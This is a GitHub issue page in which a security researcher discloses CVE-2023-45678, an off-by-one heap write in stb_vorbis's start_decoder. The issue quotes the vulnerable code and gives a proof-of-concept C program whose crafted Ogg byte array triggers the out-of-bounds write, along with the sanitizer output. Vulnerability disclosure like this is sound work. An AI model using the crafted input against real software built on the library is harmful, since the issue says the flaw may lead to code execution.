nothings / stb

stb single-file public domain libraries for C/C++
https://twitter.com/nothings
Other
25.83k stars 7.66k forks source link

Off-by-one heap buffer write in `start_decoder` (`GHSL-2023-168/CVE-2023-45678`) #1556

Closed JarLob closed 1 week ago

JarLob commented 8 months ago

A crafted file may trigger out of buffer write in start_decoder at [1] and [2]

      for (j=0; j < m->submaps; ++j) {
         get_bits(f,8); // discard
         m->submap_floor[j] = get_bits(f,8); // [1] Off by one write
         m->submap_residue[j] = get_bits(f,8); // [2] Off by one write
         if (m->submap_floor[j] >= f->floor_count)      return error(f, VORBIS_invalid_setup);
         if (m->submap_residue[j] >= f->residue_count)  return error(f, VORBIS_invalid_setup);
      }

because at maximum m->submaps can be 16 [3]

      if (get_bits(f,1))
         m->submaps = get_bits(f,4)+1; // [3]
      else
         m->submaps = 1;
      if (m->submaps > max_submaps)
         max_submaps = m->submaps;

but submap_floor and submap_residue are declared as arrays of 15 elements at [4] and [5]

typedef struct
{
   uint16 coupling_steps;
   MappingChannel *chan;
   uint8  submaps;
   uint8  submap_floor[15]; // varies // [4]
   uint8  submap_residue[15]; // varies // [5]
} Mapping;

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make UBSAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0x01,0x5a,0x81,
                            0x15,0x9c,0x00,0x00,0xbe,0x21,0x68,0x00,0x00,
                            0x00,0x00,0x00,0x00,0xa2,0x64,0x89,0x6f,0x01,
                            0x1e,0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,
                            0x00,0x00,0x00,0x0e,0x31,0x1e,0x01,0x76,0x6f,
                            0x72,0xe3,0x12,0x02,0x62,0x69,0x20,0xd7,0x73,
                            0x06,0xd0,0x97,0x75,0x4f,0x67,0x67,0x53,0x00,
                            0x9c,0x00,0xfc,0x00,0x4b,0x02,0x2d,0x24,0x00,
                            0x21,0x68,0x00,0x00,0x01,0x00,0x00,0x00,0xff,
                            0xff,0xff,0x05,0x05,0x16,0x3e,0x16,0x01,0x01,
                            0x03,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,0x00,
                            0x00,0x00,0x00,0x00,0x00,0x00,0x27,0x04,0x00,
                            0x7b,0x0b,0x12,0x0d,0x05,0x76,0x6f,0x72,0x62,
                            0x69,0x73,0x00,0x42,0x43,0x56,0x27,0x01,0x04,
                            0x00,0x00,0x04,0x20,0x04,0x00,0x00,0x00,0x40,
                            0x00,0x00,0x50,0x00,0x01,0x00,0x00,0x81,0x00,
                            0x00,0x08,0xd2,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x80,0x0f,0x20,0x10,0x28,0x30,0x18,0x15,
                            0x15,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0x00,0x00,0x8a,0x8a,0xff,0x00};
    size_t size = sizeof(data);

    stb_vorbis* out = stb_vorbis_open_memory(data, size, NULL, NULL);
    stb_vorbis_close(out);
    return 0;
}
  1. Run the program to hit the error.
/src/stb/tests/../stb_vorbis.c:4107:10: runtime error: index 15 out of bounds for type 'uint8[15]' (aka 'unsigned char[15]')
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /src/stb/tests/../stb_vorbis.c:4107:10 in
sezero commented 7 months ago

This is a duplicate of https://github.com/nothings/stb/pull/1312